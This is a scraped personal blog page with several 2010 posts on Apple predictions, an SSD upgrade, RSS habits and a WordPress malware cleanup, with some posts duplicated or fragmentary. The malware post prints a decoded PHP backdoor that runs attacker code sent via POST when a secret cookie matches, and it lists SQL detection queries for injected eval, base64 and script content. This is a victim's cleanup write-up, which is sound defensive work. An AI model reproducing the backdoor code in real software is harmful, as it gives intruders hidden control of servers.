DerekMartin.ca

I'm a father, manager, programmer, scrum master, geek, & movie lover.

Steve Jobs

Apple Predictions for 2010-2014

Connectivity: Wouldn’t it be great if…

Standardization: Pretty cool, huh?

FaceTime: Just hangin’ out

Depth & Speed: Next-Gen computing for mere mortals

Sync: It’s like magic

iLife & iTunes: Boom!- iTunes goes back to being all about audio. - iVideos is the new home of all your videos (iLife now consists of: iTunes, iVideos, iBooks) - iLife apps are about consumption, not production. For this reason iMovie will be merged into Final Cut, which will have 2 operating modes: beginner & pro. Alternately, Apple could bundle iMovie as part of iWork, which is also about creating things. This would have the additional benefit of bringing more users to the iWork suite.

One More Thing…

If you have any more predictions, I’d love to hear them. Please post’em in the comments.

Comments from my old blog:

Ian said: Nice predictions. I think I agree with most of it. I won’t make any revolutionary predictions.. But it’s fun to think about it. The problem with revolutionary things is there are too many potential problems that can get in the way of having something new come to market. Engineering things. So, I’ll stick to thinking about things that are certainly possible. I think MobileMe will become largely free and it will include some easy things like contacts and calendar sync for free. They will have some variant of iDisk that will be much easier to sync data from idevices. I say “some variant” because I think they will still hide any type of file system. It will only be used for apps that need to sync data, but it will be easy for third party apps to take advantage of this storage since everyone will have it. It will be “type” dependent, much as it is now. Just like there is currently, a music database, a movie database, etc that the idevices can access, manipulate, this will just get extended to other database types, and those types are what can be transparently synced to the cloud and other devices. What will be especially interesting to me is exactly how the ipad line will change. There is a strange difference between small devices (ios devices) and large screen devices (macs) in their product line. Different in terms of form factor, input methods, and os. Macs have very low marketshare, and I suspect that will always be the case. They have never really gained much traction outside of north America. To me, it even seems possible that the Mac won’t exist in 10 years (the name anyway). So, I think that there will be large screen idevices that will be more “console-like” than a pc. And they will all have the app store. at 2010-08-12 02:42:06

(Zye)[http://www.zaidrasid.com] said: Damn those some gooood predictions! at 2010-08-19 14:06:49

OWC Mercury Extreme Pro SSD

SSD in My 2008 MacBook

How fast?

Here are a bunch of measurements I took by videoing the Mac, and then watching the frames in slow-motion in iMovie. All times are in seconds. Boot time to items in menu bar near clock HDD - 110 SSD - 58.5 (1.9x faster) iTunes time to launch with 220GB music HDD - 12.9 SSD - 4.7 (2.7x faster) Zend Studio time to launch & complete all progress bars (refreshing workspace, syncing svn cache, etc) HDD - 222.5 SSD - 44.5 (5x faster) I didn’t take the time to measure a bunch of other applications on the HDD, but I will give you some rough estimates. The SSD *really* shines: NetNewsWire with 191 feeds & 8000 unread items HDD - 10 SSD - 1 (10x faster) OmniFocus with 28 projects & tasks HDD - 15 SSD - 1 (15x faster) Mail with 2 accounts & 9 smart folders

HDD - 35

SSD - 1 (35x faster!)

I use Zend Studio all day every day. And it needs restarting quite a few times each day. At 222 seconds, multiple restarts sucked up a lot of time. Not only that, but waiting for the progress bars to complete throughout the day was torture. While I was waiting, I would get distracted, and my productivity would plummet. With the new SSD, it launches & completes progress bars 80% faster, making me 80% less likely to get distracted. I am SO excited to see how this effects not only my productivity, but my mental status throughtout the day. Waiting was frustrating, and now I’ll be doing a lot less of it.

P.S. - the SSD is rated at 3Gbps, but my MacBook only supports 1.5Gbps. So, next time I upgrade I’ll probably get another speed boost with this very same drive. Awesome.

SSD in My 2008 MacBook

How fast?

Here are a bunch of measurements I took by videoing the Mac, and then watching the frames in slow-motion in iMovie. All times are in seconds. Boot time to items in menu bar near clock HDD - 110 SSD - 58.5 (1.9x faster) iTunes time to launch with 220GB music HDD - 12.9 SSD - 4.7 (2.7x faster) Zend Studio time to launch & complete all progress bars (refreshing workspace, syncing svn cache, etc) HDD - 222.5 SSD - 44.5 (5x faster) I didn’t take the time to measure a bunch of other applications on the HDD, but I will give you some rough estimates. The SSD *really* shines: NetNewsWire with 191 feeds & 8000 unread items HDD - 10 SSD - 1 (10x faster) OmniFocus with 28 projects & tasks HDD - 15 SSD - 1 (15x faster) Mail with 2 accounts & 9 smart folders

HDD - 35

SSD - 1 (35x faster!)

I use Zend Studio all day every day. And it needs restarting quite a few times each day. At 222 seconds, multiple restarts sucked up a lot of time. Not only that, but waiting for the progress bars to complete throughout the day was torture. While I was waiting, I would get distracted, and my productivity would plummet. With the new SSD, it launches & completes progress bars 80% faster, making me 80% less likely to get distracted. I am SO excited to see how this effects not only my productivity, but my mental status throughtout the day. Waiting was frustrating, and now I’ll be doing a lot less of it.

P.S. - the SSD is rated at 3Gbps, but my MacBook only supports 1.5Gbps. So, next time I upgrade I’ll probably get another speed boost with this very same drive. Awesome.

Comments from my old blog:

(Casey)[http://www.downlifesroad.com] said: I’m planning on getting an SSD for my system, thanks for the post and the tweet that lead me here.

-C at 2010-09-10 15:03:34

u.c. said: No more tapping the fingers then.Sounds great! at 2010-08-20 06:28:45

(Chris Hartjes)[http://www.littlehart.net/atthekeyboard] said: What size drive did you buy? at 2010-08-26 14:44:35

(Derek)[http://www.derekmartin.ca] said: The HDD in my MacBook was 160GB, and a few times I came up against that with “disk full” issues, so I ponied up and went for the 240GB non-RAID version. So far, 100GB free :) Gonna buy an MCE OptiBay which will allow me to replace the SuperDrive with a 500GB Seagate Momentus Hybrid HDD/Flash drive. The OptiBay comes with an external USB enclosure for the SuperDrive, so I’ll still be able to use it. In the meantime, the Seagate will be able to hold all my files, MP3s, and photos (which already get backed up nightly to external drives). at 2010-08-26 17:21:22

The Matrix

Fixing My Wordpress Malware Problem


Here are the contents of the file detected by WP-Malwatch:

When I decoded it, it translated to:

<?php $YjlSRnt=’eval(base64_decode(\’ZXJyb3JfcmVwb3J0aXhpdCg this went on for about 2000 lines pOwp9\’));’;

In the source of the pages my site was serving to you, that translated to:

<?php

error_reporting(0);

$md5_cookie_shell=’e954f2b73a1137e7cd7bfcc9df464eab’;

$md5_name_cookie_shell=’7d9897ac32d34e965e8a72239fdb3afa’;

$md5_name_cookie_eval=’2cffc36de4a1abcd64d996d3e22c8fd0’;

$md5_cookie_eval=’b7ecebf10cf92cd63d6f9235e66119cd’;

foreach($_COOKIE as $key => $value){

if(md5($key)==$md5_name_cookie_eval and md5($value)==$md5_cookie_eval){

if(isset($_POST[’code’])) {

eval(base64_decode($_POST[’code’]));exit;

}

break;

}

}

$local_param=false;

foreach($_COOKIE as $key => $value){

if(md5($key)==$md5_name_cookie_shell and md5($value)==$md5_cookie_shell){

$local_param=true;

break;

}

}

if(!$local_param){

function my_armor($post,$get,$cookie){

$post_arr=implode(‘.’,$post);

$get_arr=implode(‘.’,$get);

$cook_arr=implode(‘.’,$cookie);

$post_arr_key=implode(‘.’,@array_flip($post));

$get_arr_key=implode(‘.’,@array_flip($get));

$other_shtuki=@file_get_contents(‘php://input’);

$cracktrack = strtolower($post_arr.$get_arr.$post_arr_key.$get_arr_key.$cook_arr_key.$other_shtuki);

$wormprotector = array(‘base64’,’user_pass’,’substring’,’or id=’,’eval(‘,’nutch’,’create_function’);

$checkworm = str_replace($wormprotector, ‘*’, $cracktrack);

if ($cracktrack != $checkworm) @wp_die(__(‘You do not have sufficient permissions’))or die(“”);

}

function error404(){

header(“HTTP/1.1 404 Not Found”);

header(“Connection: close”);

echo “

404 Not Found

Not Found

The requested URL “.$\_SERVER\[‘REQUEST\_URI’\].” was not found on this server


”.((“” != $\_SERVER\[‘SERVER\_SIGNATURE’\]) ? $\_SERVER\[‘SERVER\_SIGNATURE’\] : ($\_SERVER\[‘SERVER\_SOFTWARE’\].” Server at “.$\_SERVER\[‘SERVER\_NAME’\].” Port “.$\_SERVER\[‘SERVER\_PORT’\])) .”

”;

}

my_armor($_POST,$_GET,$_COOKIE);

error404();

}

if ($local_param){

$c=’ZXJyb3JfcmV this went on for a few thousand lines G8gJzwvYm9keT48L2h0bWw+Jzs=’;

$c=base64_decode($c);

eval($c);

exit();

}


And here are the queries I used when trying to find the culprit. Simply replace BADSITENAME with the names of sites indicated by Google Webmaster Tools:- select * from wp_options where option_name = ‘wp_check_hash’ - select * from wp_options where option_name = ‘class_generic_support’ - select * from wp_options where option_name = ‘widget_generic_support’ - select * from wp_options where option_name = ‘ftp_credentials’ - select * from wp_options where option_name = ‘fwp’ - select * from wp_options where option_name LIKE ‘rss_%’ (EXCEPT: rss_language, rss_use_excerpt, and rss_excerpt_length) - select * from wp_comments where comment_author_email like ‘%eval(%’ or comment_author_url like ‘%eval(%’ or comment_content like ‘%eval(%’ - select * from wp_postmeta where meta_value like ‘%eval(%’ - select * from wp_posts where post_content like ‘%eval(%’ or post_title like ‘%eval(%’ - select * from wp_comments where comment_author_email like ‘%base64_decode%’ or comment_author_url like ‘%base64_decode%’ or comment_content like ‘%base64_decode%’ - select * from wp_postmeta where meta_value like ‘%base64_decode%’ - select * from wp_posts where post_content like ‘%base64_decode%’ or post_title like ‘%base64_decode%’ - select * from wp_comments where comment_author_email like ‘%BADSITE1.biz%’ or comment_author_url like ‘%BADSITE1.biz%’ or comment_content like ‘%BADSITE1.biz%’ - select * from wp_comments where comment_author_email like ‘%BADSITE2.name%’ or comment_author_url like ‘%BADSITE2.name%’ or comment_content like ‘%BADSITE2.name%’ - select * from wp_comments where comment_author_email like ‘%BADSITE3.us%’ or comment_author_url like ‘%BADSITE3.us%’ or comment_content like ‘%BADSITE3.us%’ - select * from wp_comments where comment_author_email like ‘%&ltscript%’ or comment_author_email like ‘%<script%’ or comment_author_url like ‘%<script%’ or comment_author_url like ‘%&ltscript%’ or comment_content like ‘%<script%’ or comment_content like ‘%&ltscript%’ - select * from wp_comments where comment_author_email like ‘%<iframe%’ or comment_author_email like ‘%&ltiframe%’ or comment_author_url like ‘%<iframe%’ or comment_author_url like ‘%&ltiframe%’ or comment_content like ‘%<iframe%’ or comment_content like ‘%&ltiframe%’ - select * from wp_postmeta where meta_value like ‘%BADSITE1.biz%’ - select * from wp_postmeta where meta_value like ‘%BADSITE2.name%’ - select * from wp_postmeta where meta_value like ‘%BADSITE3.us%’ - select * from wp_postmeta where meta_value like ‘%<script%’ or meta_value like ‘%&ltscript%’ - select * from wp_postmeta where meta_value like ‘%<iframe%’ or meta_value like ‘%&ltiframe%’ - select * from wp_posts where post_content like ‘%BADSITE1.biz%’ or post_title like ‘%BADSITE1.biz%’ - select * from wp_posts where post_content like ‘%BADSITE2.name%’ or post_title like ‘%BADSITE2.name%’ - select * from wp_posts where post_content like ‘%BADSITE3.us%’ or post_title like ‘%BADSITE3.us%’ - select * from wp_posts where post_content like ‘%<script%’ or post_content like ‘%&ltscript%’ or post_title like ‘%<script%’ or post_title like ‘%&ltscript%’ - select * from wp_posts where post_content like ‘%<iframe%’ or post_content like ‘%&ltiframe%’ or post_title like ‘%<iframe%’ or post_title like ‘%&ltiframe%’

Fixing My Wordpress Malware Problem


Here are the contents of the file detected by WP-Malwatch:

When I decoded it, it translated to:

<?php $YjlSRnt=’eval(base64_decode(\’ZXJyb3JfcmVwb3J0aXhpdCg this went on for about 2000 lines pOwp9\’));’;

In the source of the pages my site was serving to you, that translated to:

<?php

error_reporting(0);

$md5_cookie_shell=’e954f2b73a1137e7cd7bfcc9df464eab’;

$md5_name_cookie_shell=’7d9897ac32d34e965e8a72239fdb3afa’;

$md5_name_cookie_eval=’2cffc36de4a1abcd64d996d3e22c8fd0’;

$md5_cookie_eval=’b7ecebf10cf92cd63d6f9235e66119cd’;

foreach($_COOKIE as $key => $value){

if(md5($key)==$md5_name_cookie_eval and md5($value)==$md5_cookie_eval){

if(isset($_POST[’code’])) {

eval(base64_decode($_POST[’code’]));exit;

}

break;

}

}

$local_param=false;

foreach($_COOKIE as $key => $value){

if(md5($key)==$md5_name_cookie_shell and md5($value)==$md5_cookie_shell){

$local_param=true;

break;

}

}

if(!$local_param){

function my_armor($post,$get,$cookie){

$post_arr=implode(‘.’,$post);

$get_arr=implode(‘.’,$get);

$cook_arr=implode(‘.’,$cookie);

$post_arr_key=implode(‘.’,@array_flip($post));

$get_arr_key=implode(‘.’,@array_flip($get));

$other_shtuki=@file_get_contents(‘php://input’);

$cracktrack = strtolower($post_arr.$get_arr.$post_arr_key.$get_arr_key.$cook_arr_key.$other_shtuki);

$wormprotector = array(‘base64’,’user_pass’,’substring’,’or id=’,’eval(‘,’nutch’,’create_function’);

$checkworm = str_replace($wormprotector, ‘*’, $cracktrack);

if ($cracktrack != $checkworm) @wp_die(__(‘You do not have sufficient permissions’))or die(“”);

}

function error404(){

header(“HTTP/1.1 404 Not Found”);

header(“Connection: close”);

echo “

404 Not Found

Not Found

The requested URL “.$\_SERVER\[‘REQUEST\_URI’\].” was not found on this server


”.((“” != $\_SERVER\[‘SERVER\_SIGNATURE’\]) ? $\_SERVER\[‘SERVER\_SIGNATURE’\] : ($\_SERVER\[‘SERVER\_SOFTWARE’\].” Server at “.$\_SERVER\[‘SERVER\_NAME’\].” Port “.$\_SERVER\[‘SERVER\_PORT’\])) .”

”;

}

my_armor($_POST,$_GET,$_COOKIE);

error404();

}

if ($local_param){

$c=’ZXJyb3JfcmV this went on for a few thousand lines G8gJzwvYm9keT48L2h0bWw+Jzs=’;

$c=base64_decode($c);

eval($c);

exit();

}


And here are the queries I used when trying to find the culprit. Simply replace BADSITENAME with the names of sites indicated by Google Webmaster Tools:- select * from wp_options where option_name = ‘wp_check_hash’ - select * from wp_options where option_name = ‘class_generic_support’ - select * from wp_options where option_name = ‘widget_generic_support’ - select * from wp_options where option_name = ‘ftp_credentials’ - select * from wp_options where option_name = ‘fwp’ - select * from wp_options where option_name LIKE ‘rss_%’ (EXCEPT: rss_language, rss_use_excerpt, and rss_excerpt_length) - select * from wp_comments where comment_author_email like ‘%eval(%’ or comment_author_url like ‘%eval(%’ or comment_content like ‘%eval(%’ - select * from wp_postmeta where meta_value like ‘%eval(%’ - select * from wp_posts where post_content like ‘%eval(%’ or post_title like ‘%eval(%’ - select * from wp_comments where comment_author_email like ‘%base64_decode%’ or comment_author_url like ‘%base64_decode%’ or comment_content like ‘%base64_decode%’ - select * from wp_postmeta where meta_value like ‘%base64_decode%’ - select * from wp_posts where post_content like ‘%base64_decode%’ or post_title like ‘%base64_decode%’ - select * from wp_comments where comment_author_email like ‘%BADSITE1.biz%’ or comment_author_url like ‘%BADSITE1.biz%’ or comment_content like ‘%BADSITE1.biz%’ - select * from wp_comments where comment_author_email like ‘%BADSITE2.name%’ or comment_author_url like ‘%BADSITE2.name%’ or comment_content like ‘%BADSITE2.name%’ - select * from wp_comments where comment_author_email like ‘%BADSITE3.us%’ or comment_author_url like ‘%BADSITE3.us%’ or comment_content like ‘%BADSITE3.us%’ - select * from wp_comments where comment_author_email like ‘%&ltscript%’ or comment_author_email like ‘%<script%’ or comment_author_url like ‘%<script%’ or comment_author_url like ‘%&ltscript%’ or comment_content like ‘%<script%’ or comment_content like ‘%&ltscript%’ - select * from wp_comments where comment_author_email like ‘%<iframe%’ or comment_author_email like ‘%&ltiframe%’ or comment_author_url like ‘%<iframe%’ or comment_author_url like ‘%&ltiframe%’ or comment_content like ‘%<iframe%’ or comment_content like ‘%&ltiframe%’ - select * from wp_postmeta where meta_value like ‘%BADSITE1.biz%’ - select * from wp_postmeta where meta_value like ‘%BADSITE2.name%’ - select * from wp_postmeta where meta_value like ‘%BADSITE3.us%’ - select * from wp_postmeta where meta_value like ‘%<script%’ or meta_value like ‘%&ltscript%’ - select * from wp_postmeta where meta_value like ‘%<iframe%’ or meta_value like ‘%&ltiframe%’ - select * from wp_posts where post_content like ‘%BADSITE1.biz%’ or post_title like ‘%BADSITE1.biz%’ - select * from wp_posts where post_content like ‘%BADSITE2.name%’ or post_title like ‘%BADSITE2.name%’ - select * from wp_posts where post_content like ‘%BADSITE3.us%’ or post_title like ‘%BADSITE3.us%’ - select * from wp_posts where post_content like ‘%<script%’ or post_content like ‘%&ltscript%’ or post_title like ‘%<script%’ or post_title like ‘%&ltscript%’ - select * from wp_posts where post_content like ‘%<iframe%’ or post_content like ‘%&ltiframe%’ or post_title like ‘%<iframe%’ or post_title like ‘%&ltiframe%’

Comments from my old blog:

U.C. said: What a pain at 2010-08-26 07:10:27

Dave Winer

Dave W(h)iner on Blogs

Dave needs to remember that conversations are messy, and that, online or off-line, you can’t control what people say. You can only control if you want to listen or not. It’s the culture of not listening that is the problem, not the ability to comment on blogs. If more people really listened to the message then they would not be going off topic or engaging in flame wars.

Thanks for giving me the opportunity to leave a comment on your BLOG! at 2010-08-23 16:14:04

(Jenna Langer)[http://www.twitter.com/jennalanger] said: I like that you’re saying his blog is basically print media. That sure is how he is handling his comments. It’s like letters to the editor… no one sees them until they are published and there is time to make edits. Let’s go back to many-to-one communication, shall we? No thanks. I like my real-time collaboration :) at 2010-08-23 18:42:15

Information Addiction

RSS Addiction and Recovery

  1. It lets me star or flag articles I find particularly insightful or relevant
  2. It automatically copies those articles to a special folder, so I can see JUST the articles I’ve found insightful & relevant

At the end of 2 months, I discovered that I had flagged 352 articles as insightful or relevent (6 per day). Armed with this data, I could begin to bring an end to the insanity. I went into the Flagged items folder, and sorted by feed name. That let me count how many “insightful or relevant” articles I had found in each feed (I will post my actual numbers below). Thinking about this data let me make some smart decisions: 1. I don’t need to follow 7 different Apple blogs. I found that I had flagged more articles on 9to5Mac.com than on any other Apple-related group blog. I can now safely unfollow the rest and not worry about missing anything important. The same goes for gadget sites, where Engadget beat Gizmodo.. 2. I should NOT put aggregator sites or group blogs in my feed reader! The unread count is ever increasing, and there is no way a mere mortal can keep up. The increasingly high “unread” count causes stress. I’m talking about: reddit.com, hacker news, gizmodo, wired news, boingboing, the new york times, and other mass-content-producing sites/networks. 3. I do not have to abandon aggregator sites & group blogs, I just need to NOT track how much of their content I have not read. The easiest way to do this is to put them all in a bookmark folder and simply right-click and “open all” when I want to browse random (previously deemed worthy) information. 4. I should make a policy of only subscribing to sites run by a single person. They usually have a much higher ratio of awesome posts to crappy posts. That person is either a good writer, or they’re not. With group blogs & aggregators this is definitely not the case. Also, because individuals publish less, it’s less to keep up with.

The next logical (but tedious) step would be to see how many articles were published by each feed during those 2 months, so that I could then figure out the signal to noise ratio and then trim down my feeds based on that data. For example, if Hacker News (an aggregator) published 2000 articles in the last 60 days, and I found 20 of them insightful or relevant, the signal to noise ratio would be very low at 1%. By comparison, ASmartBear (blog run by 1 person) might only have published 10 articles, of which I found 3 insightful or relevant. The signal to noise ratio there would be 30%. Definitely high value. That makes me wonder: why isn’t this feature built-in?

Why can’t I sort feeds by my personal signal to noise ratio?

That would be AMAZING!

That way I could always be presented with the content I’m most likely to find valuable FIRST.

Come to think of it, Twitter clients/apps should have that too!

Just click a star on every tweet you like, and the app shows you SVN ratios for everyone you follow.

Anyway, I hope this helps you cure your own feed addiction.

Knowledge is power, and there’s still a lot that software can do to empower us.

P.S. - I just discovered that when you unsubscribe from a feed, all of the flagged/starred articles associated with that feed also disappear. I guess I should have known that, but it still sucks that I’ve now lost track of a bunch of good articles. Bah. If you don’t want to lose those flags, create a new folder called “waste” so it appears at the bottom of the list. Drag all of the feeds you would be unsubscribing from into that folder, and never check it again (unless you really need to kill time, like, at an airport).


Here’s my raw data, by the way. I put *** beside aggregators & group blogs. Their numbers are lower than they would be, because at some point I became overwhelmed by them, and stopped reading & flagging their articles. I will be unsubscribing from them later today, and putting them in a bookmark folder, as I mentioned. I would have linked them all for you, but there were just too many! - 38 - *** news.ycombinator.com - 22 - *** search engine land - 16 - *** AllFacebook - 15 - *** phpdeveloper.org - 10 - *** planet php - 10 - *** reddit.com - 8 - daringfireball.net (john gruber) - 9 - entrepreneurs-journey.com (Yaro Starak) - 8 - dumb little man - tips for life (jay white) - 8 - seth’s blog (seth godin) - 7 - *** 9to5mac - 7 - *** Ajaxian - 7 - *** engadget - 7 - *** wired news - 6 - *** the unofficial apple weblog - 6 - zen zhabits (leo babuta) - 6 - *** readwriteweb - 6 - *** real UFO videos and news - 6 - *** signal vs. noise - 6 - *** gizmodo - 5 - dilbert.com blog (Scott Adams) - 5 - *** arsTechnica - 5 - chrisbrogan.com (social media marketing) - 5 - *** boingboing.net - 5 - mixergy (Andrew Warner on entrepreneurs & ism) - 5 - *** macNN - 5 - freelanceswitch (may give it at *** in future) - 5 - small business marketing blog (John Jantsch’s duct tape marketing) - 5 - *** smashing magazine - 5 - the single founder (Mike Taber of Micropreneur Academy & Startups for the rest of us Podcast) - 4 - 47hats (Bob Walsh of StartUpToDo.com) - 4 - the personal excellence blog (Celestine Chua) - 4 - bobulate (Liz Danzico on Intentional Organization) - 4 - I, Cringely (Robert X Cringely on technology) - 4 - *** inside facebook - 4 - *** mashable - 4 - mysterious universe (awesome podcast) - 3 - the launch coach (Dave Navarro) - 3 - unclutterer - 3 - *** lifehack.org - 3 - *** lifehacker.com - 3 - *** onstartups - 3 - *** appleinsider - 3 - *** cultofmac - 2 - tynan.net (Tynan on life outside the box) - 2 - @TheKeyboard (Chris Hartjes on PHP & Python) - 2 - boxofcrayons.net (Michael Bungay Stanier on Good Work) - 2 - scriptingnews (dave winer) - 2 - high scalability - 2 - About.com’s Paranormal Phenomena blog - 2 - interesting monkey - 2 - startup lessons learned (eric ries on lean startups) - 2 - venture hacks (good advice for startups) - 2 - wil wheaton - 2 - rotten tomatoes: new DVD releases (I flag the ones i want to see! super-handy way to remember) - 1 - software as she’s developed - 1 - software by rob (Rob Walling of Micropreneur Academy & Startups for the rest of us Podcast, author of Start Small Stay Small - A Developer’s Guide to Launching a Startup) - 1 - steve blank (customer driven development) - 1 - ted talks - 1 - the art of non-conformity (Chris Guillebeau) - 1 - the startup success podcast (Rob Walling & Mike Taber) - 1 - todd sattersten (100 best business books of all time) - 1 - workhappy.net (Carson McComas) - 1 - xkcd.com - 1 - *** NYT > Technology - 1 - penny-arcade (Mike Krahulik & Jerry Holkins) - 1 - chris shifflett (PHP) - 1 - raphael stolt (PHP) - 1 - asmartbear (Jason Cohen) - 1 - About.com’s UFOs/Aliens - 1 - ash maurya (practise trumps theory - lean startup + customer dev + bootstrap) - 1 - blog.stackoverflow.com (Jeff Atwood & Joel Spolsky) - 1 - JoelOnSoftware (Joel Spolsky) - 1 - bob martin’s object mentor blog - 1 - codinghorror (Jeff Atwood) - 1 - dan pink (author of Drive, Free Agent Nation, & others) - 1 - david hayden (?) - 1 - howard rooijen’s blog (work smarter not harder) - 1 - Ilia Alshanetsky (PHP)

Comments from my old blog:

Ian said: Completely agree on all accounts. RSS is best for following single people.

I think in netnewswire on the mac there is at least a way to see the signal to noise ratio but I’m not sure about sorting by it. It’s in one of the menus but I can’t check what it is right now. at 2010-08-25 15:50:20